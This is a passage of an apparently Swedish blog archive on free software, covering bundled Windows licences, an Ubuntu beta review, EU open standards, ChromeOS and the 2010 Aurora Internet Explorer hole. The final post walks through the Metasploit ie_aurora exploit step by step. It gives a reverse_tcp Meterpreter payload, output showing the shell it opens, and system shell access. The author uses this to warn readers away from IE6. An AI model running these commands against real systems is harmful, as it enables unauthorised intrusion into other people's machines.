Konsumentverket/KO har mottagit din förfrågan angående din anmälan (dokid 173065) Konsumentverket/KO bedömer alla anmälningar. Ett ärende öppnas endast om en anmälan anses principiellt intressant eller om det finns ett större konsumentintresse.

Din anmälan har inte resulterat i ett ärende. Skulle Konsumentverket/KO få information som tyder på att frågan är principiellt intressant eller av större konsumentintresse kan ett ärende ändå öppnas.1 Sådan information kan komma in genom ytterligare anmälningar eller på annat sätt.

Med vänlig hälsning,

Konsumentverket/KO

1) Min emfas.

Det är därför viktigt att vi som vill ha möjlighet att köpa datorer (vilka datorer vi vill) utan Windows förinstallerat skriver in till Konsumentverket för att göra våra röster hörda.

Sedan länge har det varit möjligt att köpa datorer utan operativsystem, eller med alternativa operativsystem installerade. Det kommer vi sannolikt att få höra från våra kritiker. Däremot har det varit så gott som omöjligt att köpa sådana i vanliga teknikbutiker, såsom Elgiganten, Media Markt eller Expert. Det går hos dessa kedjor heller inte att få tillbaka några pengar för licensen om man köper en dator som är förinstallerad med Windows. Det är detta som jag vänder mig emot. Johan har mer information i sin blogg.

Läs även andra bloggares intressanta åsikter om , , , , , , ,

Erfarenheter av nyinstallerad Ubuntu 10.04 Beta2



Efter att ha helt skippat Ubuntu 9.10 Karmic Koala eftersom kärnorna i den vägrade starta upp på min dator har jag kört vidare på 9.04 fram till idag.

Jag provade att installera Beta 1 på min dator genom att preparera ett USB-minne med Desktop-iso-filen. Installationen gick bra ända tills Grub2 skulle installeras, då ballade installationen ur och ingen bootsektor blev skriven, med resultatet att hela systemet gick åt pipan.

Efter att ha ignorerat problemet i några veckor så tänkte jag att det idag var dags att ta ett krafttag för att installera Beta-version nummer två. För säkerhets skull valde jag iso-filen Alternate istället för Desktop. Alternate-ison har ett textbaserat installationsprogram som bara gör det som är nödvändigt istället för att vela runt med en massa grafiskt lull-lull.

Alternate-installationen gick som en dans och efter installationen startade datorn upp väldigt snabbt. Jag skulle tippa på mellan 8-10 sekunder efter att BIOS och andra uppstartsfunktioner körts igenom.

Efter första uppstart installerade jag kompletterande språkstöd och försökte installera de proprietära drivrutinerna för mitt nVidia GeForce 8600M GT. Jockey, som är programmet som hanterar proprietära drivrutiner, kraschade efter att ha försökt lägga till kärnmodulerna. Av någon anledning ville Jockey lägga till drivrutiner med versionsnummer 173.x. Det tyckte jag var lite mystiskt eftersom den nyaste versionen är 195.x. Jag lade dock till ett Personal Package Archive (PPA) för nVidia och installerade version 185.x istället. Det gick mycket bättre.

Mitt första intryck av systemet kört från hårddisk är att det är mycket rappare och mer responsivt än sina föregångare. Dessutom är det visuellt väldigt tilltalande jämfört med dem. Jag ställer mig lite frågande till uppstartsprocessen som fortfarande verkar lite ofärdig ur en visuell vinkel, men i övrigt tycker jag att man har lyckats väldigt bra med utseendet och det sammanhållna intrycket.

Jag har inte hunnit testa speciellt många applikationer, men både Firefox 3.6 och OpenOffice.org 3.2 känns mycket kvickare och har kortare uppstartstid än sina föregångare.

Än så länge är jag inte speciellt van vid den stora kontroversen så här långt, att minimera-, maximera- och stäng-knapparna sitter på vänster sida ovanför där Arkivmenyn huserar. Jag har heller inte (miss)lyckats med att stänga ner ett fönster när jag skulle ha klickat på Arkiv-menyn. Än, ska kanske tilläggas.

Ljudet fungerar, den inbyggda webbkameran fungerar, SD-läsaren fungerar, IR-porten fungerar, volymknapparna fungerar, knapparna för musikspelaren fungerar, e-post-knappen fungerar. All hårdvara jag har testat fungerar, helt enkelt. Hur det funkar med vänte-/viloläge har jag dock inte testat än.

Jag bara hoppas att installationsproblemen från Beta 1 är lösta, samt att installationen av de proprietära grafikdrivrutinerna kan lösas innan den 29:e. Då är det här, för mig och min dator åtminstone, en komplett produkt.

Läs även andra bloggares åsikter om , , , , , ,

2010-03-30

Digital Agenda for Europe: Öppenheten återigen hotad inom EU

Det är inte bara inom mediaindustrin och upphovsrättsfrågorna som öppenheten hotas i den Europeiska Unionen. Den snart förestående Digital Agenda for Europe (engelskt utkast) ska nå sin slutgiltiga utformning om en knapp månad den 27 april och öppna standarder och öppen källkod är under tung attack.

I ursprungsförslaget har öppna standarder och öppen källkod en stor plats, men enligt källor med insikt i processen driver Microsoft en hård lobbyingkampanj för att få bort dessa begrepp från den Digitala Agendan.

Varför är det då så viktigt att detta lobbyingarbete inte lyckas? Jag tänker bara ta ett exempel. Internet byggdes på öppna standarder. Utan öppna standarder hade vi haft Microsoft Network (MSN), kanske ett AppleNet, ett IBMNet, ett SunNet och ett NovellNet, alla med stora svårigheter att kommunicera med varandra. På de glada åttio- och nittiotalen såg det faktiskt ut såhär i datasalar runt om i världen. Alla tillverkare körde sitt eget race innan de öppna standarderna som exempelvis TCP/IP gjorde intåg i salarna.

Genom att inte satsa på öppna standarder och öppen källkod, ger man fritt fram för den mest dominerande spelaren på marknaden att låsa in information, utveckla egna dokumentformat och kommunicera på sätt som är svårt eller omöjligt för andra tillverkare att följa efter. Man skapar en snedvridning av konkurrensen och gör det mycket svårt för andra aktörer att ta sig in på marknaden.

Detta i sin tur leder till att det ledande företaget bibehåller sin ställning oavsett om deras lösningar är tekniskt sämre och kostar mer. Man uppmuntrar således en prissättning som kostar oss skattebetalare mer pengar.

Dessutom riskerar man viktig information genom att anförtro den till ett eller flera företag och indirekt litar på att de är villiga att lämna ut information om hur dokumenten är uppbyggda. Om 100 år kan det därför vara omöjligt att läsa dokumentformatet, för att företaget som specificerat det gått omkull, utan att lämna upplysningar om hur informationen i dokumentet ska tolkas.

Med en öppen standard med en allmänt tillgänglig specifikation slipper man detta problem och kommer alltid att kunna återskapa dokument oavsett hur gamla de blir.

Vad kan vi då göra åt detta? Än så länge har det varit tyst (till och med i piratpartiet ) i den svenska bloggosfären om detta (mig veterligen). Fokus har förståeligt nog varit på ACTA och Beatrice Ask idiotier, men detta är i mitt tycke en lika allvarlig framtid vi går till mötes. Den enda kommentaren jag hittat om Digital Agenda for Europe var från Gunnar Hökmark (m), och även om han uttalade sig om andra delar kan jag inte instämma mer:

- Innovation drives technological evolution at a speed which we can not foresee. We therefore must ensure that todays political decisions do not hinder tomorrows innovations.
Det är precis vad som kommer att hända om inte lobbyingen stoppas.

I detta formuläret kan vi som är intresserade av interoperabilitet och öppenhet sända in våra synpunkter på förslaget för European Interoperability Strategy. Ett annat sätt är att skicka e-post till våra EU-parlamentariker och EU-kommissionär.

Jag har gjort det. Vad kommer du att göra?

Läs även andra bloggares intressanta åsikter om , , , , , , ,

2010-03-12

Hur man skyddar ideella projekt från skadliga personer

Ideella projekt, speciellt i Internets tidevarv, har en förkärlek för att låta vem som helst deltaga i projekten för att växa och bli större, sänka tröskeln för engagemang och helt enkelt vara transparent och öppet.

I början av sådana projekt drivs utvecklingen ofta av en liten kärngrupp av entreprenörer och teknikkunniga som verkligen brinner för just detta projektet. Med tiden kommer däremot undantagslöst personer in i projektet som inte har samma mål eller värderingar som formulerats i ursprungsprojektet.

När jag skriver "skadliga personer" menar jag inte att de är elaka, missunsamma personer som medvetet är ute för att skada projektet eller dess mål. Oftast är det tvärt om. Många gånger är det personer som vill utöka "kampen", vill att projektet ska vara mer aggressivt i sin marknadsföring, vill att fler funktioner eller uppgifter ska tillföras projektet, tycker att projektet är för byråkratiskt eller för flummigt och det kan vara personer som bara tycker om att debattera i sådan utsträckning att all kraft och energi läggs för att bemöta dessa personer.

En föreläsning på Googles högkvarter fokuserade på just detta problem, betitlad How to protect your Open Source project from poisonous people. Det är helt klart värt en timmes tittande:



Som nyligen avgången TeamLeader för Ubuntu Sverige och aktiv inom FOSS-rörelsen i Sverige i många år har jag stött på tillräckligt många personer av det här slaget. Samarbetsovilliga, respektlösa och själviska, många gånger utan att de inser det själva. Troligtvis har även jag upplevts som sådan i vissa projekt som jag varit med i.

En del av förklaringen är kommunikationsformen. I konversationer öga-mot-öga utgörs drygt tio procent av orden vi säger, 35 procent av tonfallet och 55 procent av kroppsspråket. När det gäller online-konversation är alltså nio tiondelar av vårt uttryck som bortblåst och vi är utlämnade till restrerande tio procent som är de ord som vi vill uttrycka. Leenden, ironiska blinkningar, gester, tonläge, skratt, sura miner, höjda ögonbryn, vänliga klappar på axeln, kramar, hånflin, allt är borta. Kvar att använda är smileys. Bara.

Att kommunikationsmissar uppstår i en sån miljö är helt naturligt, om än beklagligt. Någon som kan uppfattas som sur och tvär kanske bara är otroligt långsam på att skriva och bemödar sig därför inte med att skriva långt, urskuldande och omständligt. Ett korthugget svar utan smileys kan då tolkas som otrevligt översitteri och en klockren besserwisser-attityd, även när personen som sitter bakom tangentbordet är en helylle-gosig, supertrevlig charmknutte.

Andra kan istället överanvända utropstecken och smileys och upplevs då som en gapig hyperaktiv tomte med uppmärksamhetsproblem, när de i själva verket är snälla stugsittare utan klar bild av vilka konversationskonventioner som gäller på Internet utanför Aftonbladets chatt och Lunarstorm.

Viktigt i sammanhanget är också vilket inre motiverande värdesystem man har. För en del kan byråkrati vara jämförbart med livstids straffarbete, medan andra ser rött när de ser saker drivas på lösa boliner utan ordentlig styrning och uppföljning, oavsett om projektet drivs framåt som tåget eller inte. För andra är debatt innan viktiga beslut det värsta de vet, medan andra upplever det som diktatur så fort någon tar tag i taktpinnen och tar ett toppstyrt beslut, utan att konsultera alla som någonsin varit involverade i projektet.

Jag tror personligen på att det i slutändan är ohållbart och rent av kontraproduktivt att låta "alla som vill" få vara med i beslutsfattandet och framåtsyftande med projektet. Det krävs viss toppstyrning och rent av uteslutande av vissa medlemmar i projektet för att det över huvud taget ska gå att komma framåt. Alldeles för mycket tid och kraft har lagts på människor som velat väl men till syvende och sidst har tagit upp allt för mycket resurser från det som verkligen betyder något: projektets framåtskridande.

Jag tror istället att man bör bilda en kärngrupp av människor som har lätt att samarbeta med varandra, är lyhörda för varandras åsikter och har ett gemensamt mål. Oavsett om kärngruppen är entreprenörsdriven eller byråkratdriven är det viktigt att kunna samarbeta och känna samhörighet inom gruppen. Att lägga en halvdag på att prata vett i ett stolpskott som inte har det minsta att tillföra projektet, skadar projektet på lång sikt och bör undvikas.

Därför är jag glad åt att jag ska ta över ett projekt som bara består av människor som jag respekterar och kan samarbeta med. Ett projekt där jag kan lägga tiden på att utföra faktiskt arbete istället för att moderera bort skitsnack, debattera ändlösa för/emot-trådar och utföra formalia.

Jag tänker inte tala om vilket projekt det rör sig om, eftersom jag befarar att det kommer dra till sig de människor jag stör mig allra mest på. Så långt har det gått och så illa är det.

Jag önskar alla lycka till med att göra det de tror på, och välja bort det de inte tror på.

Fridens liljor.

Läs även andra bloggares intressanta åsikter om , , , ,

2010-03-04

Vela i frid, Internet Explorer 6


Internet Explorer 6 har hastigt lämnat oss, efter en arbetsplatsolycka i Googleplex den första mars.

Internet Explorer 6, känd för sina vänner som IE6, var en seg rackare som höll ut länge mot svåra odds. Efter sig lämnar han barn (IE7) och barnbarn (IE8) och horder av överlyckliga webbutvecklare.

Många är kvällarna och nätterna då jag och IE6 har suttit uppe tillsammans och strävat efter att få samsyn ur våra olika perspektiv. Tid som jag aldrig kommer att få tillbaka. Och jag minns speciellt allt nätfiske under de ändlösa sommardagar som makligt drog sig fram. IE6 var ett riktigt original och gick alltid sin egen väg. Jag minns den dagen när vi skulle skruva element. Jag och hans vänner Firefox och Safari ville ha elementet bredvid fönstret, men IE6 ville prompt sätta det nedanför. Han hävdade att utrymmet var för litet. Sån var han, IE6. En enstöring som inte brydde sig så mycket om vad andra tänkte och tyckte. Vi argumenterade fram och tillbaka i flera timmar, tills vi slutligen förlängde väggen för att elementet skulle få plats bredvid fönstret. Det är sånt man minns, men inte kommer att sakna.

IE6 hade integritet, så mycket kan man åtminstone säga om honom. Transparens var inte hans starka grej. Men så länge man spelade på hans regler så kunde han öppna sig. Ibland lite väl mycket, speciellt för min svorne fiende, den aktive X.

X kunde ofta, till vår uppenbara bestörtning, låsa upp IE6 allra mörkaste vrår och få tillgång till hans stora hemligheter. Men nu är den tiden över.

Älskad av många och hatad av ännu fler, hålls minnesgudstjänster för IE6 över hela världen denna dag, bland annat i Denver, Colorado - USA.

Farväl IE6, och vela i frid.

Läs även andra bloggares intressanta åsikter om , , , , , , , ,

Företags-test av ChromeOS?

En testredaktör på IDG.se vid namn Lars Dobos har testat öppen källkods-bygget Chromium "för företagsanvändare". Chromium är en tidig oberoende variant av Googles ChromeOS, vilket är ett operativsystem som i princip endast består av ett skrivbord och webbläsaren Google Chrome.

Jag håller med om att Google har ett rätt rejält pung-grepp på sökmotormarknaden och att företaget samlar på sig ohälsosamt mycket information om sina användare. Där är jag och Lars Dobos eniga, tror jag. Men där upphör likheten.

Dobos förhåller sig tveksam till Chromium i stort och tror inte att det räcker till för företagen. Han skriver att

med tanke på hur många jobbar i dag är Chromium en direkt omöjlighet.

I kommentarerna till artikeln förtydligar han detta med
min objektiva syn på det hela är att Chrome OS inte duger som ersättare för Win7/Mac OS X/Linux på företagens datorer idag.
Menar du att vår Photoshopande AD ska klara sig med Chrome OS, ska bankmannen klara sig, ekonomiavdelningen, börsmäklare, ... , ?
Visserligen kan jag hålla med om att ChromeOS förmodligen skulle klara sig sämre som operativsystem för CAD-användare och användare som håller på med avancerad bildbehandling, men vad är det som säger att man måste ha en homogen miljö i sitt företagsnät?

Har man 2980 användare som håller på med ett affärssystem, webb-baserad tidsredovisning och webb-baserad epost, och 20 användare som håller på med CAD eller bildredigering, är det då ett sunt affärsbeslut att köpa in 3000 stycken Windows 7-licenser, för att de 20 inte kan köra på samma plattform som alla andra? Ska det vara jämlikt, är det där skon klämmer?

Sen menar Lars Dobos att han
inte [vill] ha Chrome OS som ersättare till Win7 på min dator och det tror jag gäller företag också.

Som en teknisk datoranvändare som inte vill känna sig låst i ett operativsystem som inte erbjuder något roligt att pilla med, såsom nätverksinställningar, flygande brödrostar som skärmsläckare, meningslösa applikationer som PhotoBooth och mängder av spel förstår jag att Lars Dobos hellre håller fast vid sitt Windows 7.

Men är det verkligen det perspektivet man ska ha? Lars Dobos lever i sin Windows-värld där han ibland sticker ut huvudet utanför bubblan för att göra ett eller annat test. Jag lever förvisso i min Linux-värld och är precis lika isolerad, men jag tar mig heller inte för att testa Windows OS utifrån mina preferenser som Linux-användare.

Jag vet inte hur bekant Lars Dobos är med begreppet tunna klienter, men i administrationshänseende är det en företagsdröm. Och ChromeOS är i ordets rätta bemärkelse en ganska tunn klient. All administration sker centralt och underhållet på klienterna är minimalt. Om en fallerar byts den ut av en annan på samma tid det tar att bära den på plats och användaren är uppe och kör igen en halvminut senare.

Att dessutom inte ha någon lokal lagring på maskinen gör den mindre mottaglig mot virus, man slipper korrupta filsystem, lokalt borttagna filer, klåfingriga användarfel, felaktiga profiler, filer som sparats lokalt på datorns hårddisk och en massa annat som orsakar IT-avdelningarna veckor av arbete året om.

Pelle på ekonomiavdelningen behöver kanske inte mer än sina webb-baserade epostprogram, ekonomiprogram och en webbläsare för att utföra sina arbetsuppgifter, samtidigt som han kan spendera dödtid på Facebook eller Youtube.

Men nej, Lars Dobos tycker inte att ChromeOS duger till företagsanvändare för att man i den här utvecklingsversionen av operativsystemet inte kan peta i ett SD-kort eller en scanner i datorn.

Det tycker jag är ett otroligt snävt sätt att se på saken.

Läs även andra bloggares åsikter om , , , , , ,

2010-02-16

Val hos Ubuntu-se.org

Eftersom min tid som Teamledare - och Andreas Olssons tid som Team Contact - för Ubuntu Sverige snart är över, hålls det just i detta nu en nomineringsprocess för att utse våra efterträdare.

Detaljer kring processen kan läsas i den här forumtråden.

Nomineringsprocessen skulle egentligen ha avslutats för några dagar sedan, men har på grund av vissa tveksamheter kring upplysningen kring valet och nomineringstiden och några avhopp förlängts ytterligare en tid för att vaska fram fler kandidater.

Nomineringen pågår från skrivande stund fram till den 23:e februari klockan 24:00.

Omröstningen kommer att äga rum på forumet mellan den 24:e februari klockan 03:00 till och med den 7:e mars klockan 24:00.

Ovanstående länk kommer att innehålla all information som står att finna kring nomineringarna, valet och resultatet.

Välkomna in och påverka!

Läs även andra bloggares åsikter om , , ,

2010-02-09

Norge ger tummen ner för OOXML


En ny utredning beställd av det norska Direktoratet for forvaltning och IKT menar att OOXML är olämpligt för utbytande av redigerbara dokument i offentlig förvaltning.

Norge har sedan årsskiftet standardiserat på OpenDocument-formatet (ODF) inom offentlig sektor och har parallellt med detta undersökt möjligheterna för att också använda Microsofts OOXML som standard. Utredningen, som gjorts av Hypatia AS i samarbete med Standard Norge, menar att OOXML-standarden har för många ändringsförslag (över 100 stycken på tillsammans mer än 1000 sidor) och att den framförallt har för få fungerande implementationer, alltså program som klarar av att läsa och skriva standarden till 100%.

Vidare debatt kommer att följa eftersom ärendet inte är avgjort i och med denna utredning. Jag tolkar den här sidan som att man vill ha in någon typ av remiss-svar på utredningen.

Microsoft hävdar att Hypatia AS är partiska och för en egen agenda då de redan vid standardiseringsförhandlingarna i Norge menade att OOXML var en uselt uppbyggd dokumentstruktur som hade varit alltför påverkade av Microsoft under alla år.

I slutet av januari stod det klart att Danmark väljer ODF framför OOXML på grund av att ODF var det enda formatet som levde upp till de krav man ställde:

  • Formatet måste vara fullständigt dokumenterat och offentligt tillgängligt.
  • Det måste kunna implementeras fritt utan ekonomiska, politiska eller juridiska begränsningar på implementation och användning.
  • Måste vara godkänt av ett internationellt erkänt standardiseringsorgan, till exempel ISO.
  • Det måste kunna visas att standarden kan implementeras i sin helhet på flera plattformar.
  • Formatet måste ha interoperabilitet med funktionerna till andra standarder på listan.

Även om Sverige också har ODF som offentlig standard är det något annat som gäller i den ack så praktiska verkligheten. ODF kan väldigt sällan användas eller ens läsas av kommunala förvaltningar och inte heller av många statliga myndigheter.

Dags att ta ett krafttag för användandet av öppna dokumentstandarder.

Läs även andra bloggares intressanta åsikter om , , , , , ,

2010-01-25

Nyzeeländsk skola kör 100% öppen källkod

Linux.conf.au, en konferens om öppen källkod i Oceanien, hölls ett föredrag om Albany Senior High School i Auckland, Nya Zeeland. Skolan har kört en fullständig öppen källkodsmiljö sedan den startades i mitten på 2009. På klientdatorerna körs Ubuntu och på servrarna använder man Mandriva, på grund av dess katalogtjänst.

Tidningen CIO menar att serverkostnaderna kapats med hur många procent som helst, men deras uträkning ger jag faktiskt inte mycket för. Bara för att racken man köpt in rymmer 48 enheter måste man inte fylla upp dem. Skolan har trots allt bara 230 elever och de fyra servrar man kör borde räcka gott för eleverna oavsett vilket operativsystem man kör.

Man har valt öppen källkodsvägen trots att det finns ett stort och väldigt subventionerat statligt avtal med Microsoft för att köra deras programvaror. Detta i sin tur innebär att man faktiskt betalar för programvara som man inte använder eftersom man väljer att gå sin egen väg. Alla referensplaner är dessutom skrivna med utgångspunkt i en Microsoftmiljö.

Programvaror som används är bland annat OpenOffice.org och Google Docs för kontorsgöromål, Moodle för utbildningsmaterial, den sociala programvaran Mahara för studentmaterial och portfolios och Koha för bibliotekssystemet.

Projektet har enligt upphovsmännen avlöpt bra med god acceptans från eleverna, till skillnad från det i Ekbackeskolan i Osby, där "elevdatorerna inte går att använda". Det verkar dock vara helt annorlunda på det närliggande Naturbruksgymnasiet där datorerna fungerar fint.

Kanske har det att göra med att Ekbackeskolan inte hade något intresse av att utbilda vare sig personal eller elever i det nya systemet utan väntade sig att det skulle fungera på precis samma sätt som i Windows?


Att förvänta sig att man ska kunna förstå ett system bara genom att sätta sig ner och använda det är ett relativt naivt förhållningssätt som inte fungerar för de allra flesta. Det kräver aktivt kunskapssökande vilket inte alla finner speciellt roligt eller ens har kunskapen att göra. Att peka och klicka omkring i ett fönsterhanteringssystem är väl inte så komplicerat, men så fort det ska installeras program, göras inställningar och anpassas till den enskilda elevens behov och förutsättningar, då blir det lite mer komplicerat.

Windows-plattformen har ett klart övertag efter 20 års marknadsdominans. Supportkapitalet bland familj, vänner, grannar och personal på skolan ska inte underskattas. Linux och öppen källkod har inte den basen att stå på och kan därför inte bara hoppas att det löser sig automatiskt. Det måste finnas en supportorganisation och lektionstid som avsätts för att lära sig och förstå det nya systemet.

Detta är något som både IT-organisationen och skolledningen borde trycka lite extra på. Det är knappast något specifikt för Linux, det gäller även det "intuitiva" Mac OS X eller vad det vara månde. Ingen IT-lösning är så enkel att den inte kräver några utbildningsinsatser. Problemet är bara att när det kommer till Windows så är utbildningsinsatsen redan gjord av åratal av användande på andra arenor än i exempelvis skolan, så där kan eleverna redan hantera den i viss mån.

Implementationen på Nya Zeeland genomfördes på ungefär två månader, vilket är ett oerhört kort projekt med bara några veckor var för utvärdering, test och uppstart. Ändå har systemet fungerat bra. Nyckeln här är troligtvis att man inte har något gammalt system att konvertera från, gamla dokument som måste kunna läsas och annat gammalt mök som ligger och drar. Inlåsning i olika system tar tid att ta sig ur, kostar mängder med pengar och kan få ett projekt att helt gå i stöpet. LiMux-projektet i München är ett bra exempel på ett sånt.

Kostnaderna för systemskiftet läggs inte sällan på det nya systemet, vilket gör att totalkostnaden för ett byte till ett system som långsiktigt är billigare blir högre än att köra vidare på samma gamla system som låser in både dokument och användare i licensmodeller som kostar på sikt.

Läs även andra bloggares intressanta åsikter om , , , , , , ,

2010-01-19

Microsoft UK försvarar sig om Aurora-hålet i Internet Explorer


Det är lite blåsigt kring Microsoft för tillfället. Nu har Microsofts brittiske säkerhetschef gått ut i en intervju i Techradar och hävdar att man blir mindre säker på internet om man väljer att gå ifrån Internet Explorer-plattformen till någon konkurrerande webbläsare.

Cliff Evans menar, enligt IDG.ses översättning att

"nettoeffekten av att byta bort IE är att du kommer att få en mindre säker webbläsare."
Han säger också i artikeln i Techradar att
"The reality of the risk is minimal, even if you have IE6; you would have to go to a website running the exploit."
Hur svårt det är att få folk att klicka på länkar och ge bort sina lösenord och dylikt visas dock rätt tydligt i en annan artikel på IDG.se. Säkerhetsmedvetandet är lågt på de allra flesta ställen och det är inte svårt att via social engineering och kedjebrev få folk att klicka på skräp.

Att Google drabbats visar att till och med IT-företag, som borde vara mer säkerhetsmedvetna än genomsnittet, inte går säkra.

PC för Alla meddelar samtidigt att runt 80 procent av företagsanvändarna i en ny undersökning kör Internet Explorer. Detta eftersom bland annat många intranätlösningar kräver den för att fungera. I den artikeln heter det bland annat:
- Att IE skulle försvinna från marknaden är väldigt långsökt. De som säger sådana saker har ingen uppfattning om hur det ser ut på många företag världen över
Cliff Evans kan dock inte säga med säkerhet att det kommer att komma en säkerhetsuppdatering för Internet Explorer innan den vanliga patch-tisdagen, vilket kan innebär att man kan få vänta ända till 9 februari innan den kommer. Till dess är det tre veckor i skrivande stund.

Jag undrar hur många säkerhetschefer på banker, institutioner och företag som vill sitta i ovisshet så länge. Det är som sagt tack vare Metasploit ganska enkelt att använda sig av säkerhetsluckan.

Nu, två dagar efter oss andra, har också IDG.se snappat upp att även Frankrike gått ut och varnat för Internet Explorer, och gjorde så innan Sitic.

Läs mina andra bloggposter på ämnet:

Läs även andra bloggares intressanta åsikter om , , , , , , , , ,

Fosskalendern.se firar ett år (typ..)

För ungefär ett år sedan satt jag och pillade på de sista detaljerna på fosskalendern.se. Efter att ha letat med ljus och lykta efter en kalender-aggregator som kunde presentera flera olika kalendrar som en, börjat bygga på en själv och gett upp halvvägs, hade jag hittat Calagator, en Ruby-on-Rails-kalender som gjorde precis det jag behövde, och det jag tyckte att FOSS-Sverige behövde.

Jag kunde visserligen inte ett dugg om Ruby on Rails, och det verkade inte som att någon annan kunde det heller, eller de ville åtminstone inte skylta med det. Men detta lilla faktum stoppade mig inte, utan jag började glatt översätta de mest kritiska delarna, gjorde temaändringar tills det åtminstone inte såg ut som en rakt-av kopia av original-sajten, och publicerade den.

Nu såhär ett år(ish..) senare måste jag konstatera att fosskalendern.se har varit en stor framgång. Evenemangsräknaren är uppe i 150+, så under det år som gått har vi väldigt lågt räknat haft åtminstone 100 evenemang som stått listade i kalendern. Men vi nöjer oss inte där. Siktet för 2010 är att åtminstone dubbla detta antal.

Dagen till ära har jag lyft fram möjligheterna med kalendern ytterligare. På framsidan har jag lagt till länkarna till RSS Atom-flödet, iCalendar-flödet och lite annat smått och gott. Fosskalendern är ju inte bättre än det antal människor som använder den, så ju fler som vet om den och ju enklare det är att använda den, desto bättre. Jag kommer att posta några howto's för hur man prenumererar och lägger upp evenemang lite senare.

Som lök på laxen har jag lagt till en facebook-sida för Fosskalendern.se, samt en twitter-sida, som kommer att användas för att tweeta evenemang från kalendern.

Om ni har idéer på förbättringar eller ändringar som skulle göra Fosskalendern.se ännu bättre, tveka inte att höra av er!

Läs även andra bloggares åsikter om , , , , ,

2010-01-18

Så här fungerar Aurora-hacket på Internet Explorer 6


Metasploit-projektet är världens största ramverk för IT-penetrationstester. Det är öppen källkod och har den absolut största databasen med kända exploits - säkerhetsluckor - av alla testmiljöer därute på det stora vida internet.

Som jag skrev tidigare så har Metasploit bara några timmar efter tillkännagivandet ordnat ett exploit för det så kallade Aurora-hacket.

Hacket kräver att en webbserver av något slag serverar koden till den sårbara maskinen. Enligt Metasploits blogg, fungerar hacket med en fullt patchad Windows Xp med Service Pack 3.

För att köra igång Metasploit, installera senaste versionen och kör en online-uppdatering.

Starta konsollen med kommandot msfconsole och skriv kommandona i fetstil:

msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (din IP-adress)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.0.151:8080/
[*] Server started.

msf exploit(ie_aurora) >


Öppna Internet Explorer på en sårbar maskin och skriv in det lokala IP-numret (i det här fallet http://192.168.0.151:8080/) i adressfältet. Om allt fungerat som det ska bör du få ett svar från Metasploit-konsollen, som ser ut såhär:

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.166:1514)


Efter detta kan du inleda en ny session med kommandona i fetstil:

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WINXP\Developer

meterpreter > use espia
Loading extension espia...success.

meterpreter > shell
Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Developer\Desktop>
och du är inne i systemets kommandotolk.

En fin video finns från de snälla människorna på Praetorian:

The "Aurora" IE Exploit in Action from The Crew of Praetorian Prefect on Vimeo.



Den visar hur du gör rent praktiskt för att starta exploiten och döda en process, som ett proof-of-concept.

Denna säkerhetsbrist är alltså just i skrivande stund och sedan tre-fyra dagar tillbaka i allra högsta grad levande. Visserligen krävs det ett spam-epostmeddelande eller kanske någon illasinnad länk skickad via twitter för att få det att fungera, men i dessa url-förkortningstider (Bit.ly för att bara ta ett exempel) är det inget större problem att skicka skräp till varandra.

Varenda statlig institution, varje företag och ideell organisation som fortfarande kör en fullt patchad Windows XP med Service Pack 3, men fortfarande använder Internet Explorer 6 är alltså sårbara för den här typen av intrång!

Så här enkelt är det att ta sig in i ditt nätverk via webbläsaren Internet Explorer 6. Internet Explorer 7 har också denna sårbarhet om än med en variant, likaså en Internet Explorer version 8 om Data Execution Protection (DEP) av någon anledning är avslaget.

Byt ut din Internet Explorer nu!

Läs även andra bloggares intressanta åsikter om , , , , , , , , ,